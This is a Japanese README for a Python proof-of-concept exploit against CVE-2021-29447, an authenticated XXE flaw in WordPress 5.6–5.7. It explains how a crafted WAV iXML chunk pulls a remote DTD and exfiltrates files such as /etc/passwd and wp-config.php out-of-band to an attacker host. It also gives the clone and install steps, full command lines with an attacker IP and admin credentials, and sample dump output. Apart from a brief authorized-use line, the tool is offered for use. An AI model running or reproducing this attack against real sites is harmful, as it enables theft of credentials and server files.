CVE-2021-29447 WordPress用認証済みXXEエクスプロイト 🎯

WordPress 5.6〜5.7に存在する認証済みXXE脆弱性（CVE-2021-29447）をWAVメタデータを介して悪用するPython PoCです。WAVファイルのiXMLチャンクを悪用して、/etc/passwdやwp-config.phpなどの機密データを帯域外（OOB）流出させ、そのままdump/ディレクトリへ保存します。

動作の仕組み 🔍

このスクリプトは、WordPressがWAVメタデータを解析する際の**XML外部実体（XXE）**の欠陥を利用します：

1. WAV生成: あなたのマシン上のリモートDTDを参照するiXMLチャンクを埋め込んだ悪意のあるWAVファイルを生成します。
2. DTDホスティング: HTTPサーバーを起動して（または独自のサーバーを使用）、細工されたDTDを配信します。このDTDはWordPressに対象ファイル（例：/etc/passwd）を読み取り、Base64エンコードするよう指示します。
3. ファイルアップロード: WordPressに認証し、メディアアップロード用のnonceを取得して、メディアライブラリ経由でWAVをアップロードします。
4. OOB流出: WordPressがWAVを解析してDTDを取得し、Base64データを含むコールバックをあなたのサーバーに対して実行します。スクリプトはそれをデコードしてdump/に書き込みます。

主な機能 ⚡

• 対話モード (-i): CTRL+Cまでファイルパスを順に要求します。アドホックな調査に最適です。
• ワードリストモード (-w <file>): リストから多数のファイルパスを一括処理します。
• HTTPサーバーをスキップ (--no-http): 内蔵サーバーの代わりに独自のWebサーバーを使用します。
• デバッグモード (--debug): 詳細なHTTPおよび内部デバッグログを表示します。
• クリーンで色付きのログ: [CONFIG]、[UPLOAD]、[DUMP]、[WARN]、[ERROR] という接頭辞ラベルで状態をすぐに確認できます。
• タイムアウト設定可能: 各ファイルの流出を継続する前に最大6秒待機します。

インストール 🛠️

1. リポジトリをクローンします:
   root@kitploit:~

   git clone https://github.com/Tea-On/CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7.git
   cd CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7
   

2. Pythonの依存関係をインストールします:
   root@kitploit:~

   pip3 install requests
   

🧾 引数リファレンス

使用例 💥

対話モード

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local -i

[CONFIG] Interactive mode (CTRL+C to exit)
File> /etc/passwd
[CONFIG] DTD written: dtd/L2V0Yy9wYXNzd2Q=.dtd
[CONFIG] WAV built
[INFO] Nonce: d87f00a552
[DUMP] Dumped: dump/passwd
[UPLOAD] Upload ok (200)
[UPLOAD] URL: http://vulnerable.local/wp-content/uploads/payload.wav
File>

ワードリストモード

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local -w wordlist.txt

[CONFIG] Loaded 4 paths from "wordlist.txt"
[CONFIG] Using HTTP server at 10.10.14.8:8080
[CONFIG] Starting batch exfiltration...
[DUMP] [/etc/passwd] → dump/passwd
[WARN] No exfil for /etc/hostname within 6s, continuing
[UPLOAD] Upload ok (200)
[ERROR] Upload fail (502) on "/nonexistent"

サーバーなし & デバッグ

python3 exploit_CVE-2021-29447.py \
  -H 10.10.14.8 -p 8080 \
  -u admin -P p@ssw0rd \
  -d http://vulnerable.local --no-http --debug -w wordlist.txt

独自のHTTPサーバーを使用してdtd/をホストし、コールバックをキャプチャします。デバッグログは[DEBUG]として表示されます。

出力ディレクトリ 📂

• dtd/ – ターゲットへ配信される生成済みDTDファイル。
• dump/ – デコードされたファイル内容。元のパスにちなんだ名前が付けられます。

ヒントとコツ 💡

• タイムアウトの調整: 遅いネットワークの場合はEXFIL_TIMEOUT変数（デフォルト6秒）を変更します。
• デバッグの活用: --debugを有効にして、認証、アップロード、コールバックの問題を診断します。

責任ある開示とライセンス 🔐

このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。

MIT Licenseの下でライセンスされています。貢献を歓迎します。ハッキングを倫理的で楽しいものに保ちましょう！ ✨